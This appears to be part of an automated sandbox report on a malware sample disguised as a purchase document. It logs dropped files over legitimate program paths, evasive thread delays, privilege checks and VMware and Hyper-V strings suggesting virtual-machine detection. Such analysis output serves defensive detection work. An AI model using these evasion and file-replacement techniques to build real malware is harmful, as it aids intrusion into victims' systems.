Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Install\{9DD40E31-8782-438B-BCFD-713DE1B3090F}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_9-12900

Source: C:\Windows\System32\SensorDataService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\FXSSVC.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\alg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-5854
Source: C:\Windows\System32\msdtc.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_17-5698
Source: C:\Windows\System32\Locator.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\Public\alpha.pif	API coverage: 6.3 %
Source: C:\Users\Public\alpha.pif	API coverage: 7.8 %

Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99862s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 6852	Thread sleep count: 7315 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 6852	Thread sleep count: 2503 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99624s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99513s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99156s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -99004s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98787s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98546s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97672s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97452s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -97015s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96906s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96796s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96687s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96576s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96219s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -96031s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95922s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95703s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95593s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95484s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95374s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95265s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95156s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -95046s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94937s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94828s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94718s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94609s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94499s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94361s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94234s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94125s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -94015s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -93888s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif TID: 7108	Thread sleep time: -93671s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 7316	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\msdtc.exe TID: 6992	Thread sleep count: 491 > 30
Source: C:\Windows\System32\msdtc.exe TID: 6992	Thread sleep time: -49100s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\xpha.pif	Last function: Thread delayed

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B15908
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	13_2_001A0207
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	13_2_001A589A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B3E66 FindFirstFileW,FindNextFileW,FindClose,	13_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	13_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 13_2_0019532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	13_2_0019532E
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	22_2_001A589A
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	22_2_001A0207
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B3E66 FindFirstFileW,FindNextFileW,FindClose,	22_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	22_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 22_2_0019532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	22_2_0019532E

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99862	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99624	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99513	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99156	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 99004	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98787	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98546	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97672	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97452	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97343	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97234	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97125	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 97015	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96906	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96796	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96687	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96576	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96219	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 96031	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95922	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95812	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95703	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95593	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95484	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95374	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95265	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95156	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 95046	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94937	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94828	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94718	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94609	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94499	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94361	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94234	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94125	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 94015	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 93888	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Thread delayed: delay time: 93671	Jump to behavior

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: SensorDataService.exe, 0000001F.00000002.1855950363.00000000004EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .inVMware Virtual disk SCSI Disk Devicet System Management
Source: Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`VZ%SystemRoot%\system32\mswsock.dll==.aP
Source: SensorDataService.exe, 0000001F.00000003.1848760946.00000000004D2000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1781177346.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1780783107.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure Driver
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007CB000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1700499143.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504408832.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1685939273.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1687626189.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281172548.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1670852449.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SensorDataService.exe, 0000001F.00000002.1855950363.00000000004EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SensorDataService.exe, 0000001F.00000003.1848760946.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter.dll,-2102
Source: SensorDataService.exe, 0000001F.00000003.1750375651.00000000004D4000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1783409850.0000000000598000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wgencounter.inf,%gencounter.devicedesc%;Microsoft Hyper-V Generation Counter
Source: AppVClient.exe, 00000011.00000003.1638891220.00000000004AF000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000011.00000002.1641101952.00000000004CD000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000011.00000003.1639261437.00000000004B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachine
Source: Spectrum.exe, 00000023.00000002.2675188373.000000000057D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus Device
Source: Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PL[SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SensorDataService.exe, 0000001F.00000003.1750375651.00000000004D4000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1783409850.0000000000598000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wvid.inf,%vid.devicedesc%;Microsoft Hyper-V Virtualization Infrastructure Driver`
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device~
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: xpha.pif, 00000017.00000002.1759317605.000000000287B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: SensorDataService.exe, 0000001F.00000002.1855950363.00000000004EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SensorDataService.exe, 0000001F.00000003.1848760946.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 0000001F.00000003.1750375651.00000000004D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Storage Spaces Controller%;Microsoft Storage Spaces Controllersoft Hyper-V Gener
Source: Spectrum.exe, 00000023.00000002.2675188373.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !2Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure Driver
Source: Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4NECVMWar VMware SATA CD00
Source: Spectrum.exe, 00000023.00000003.1781177346.00000000005A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3ZVMware Virtual USB MouseC:\Windows\System32\DDORes.dll,-2212
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
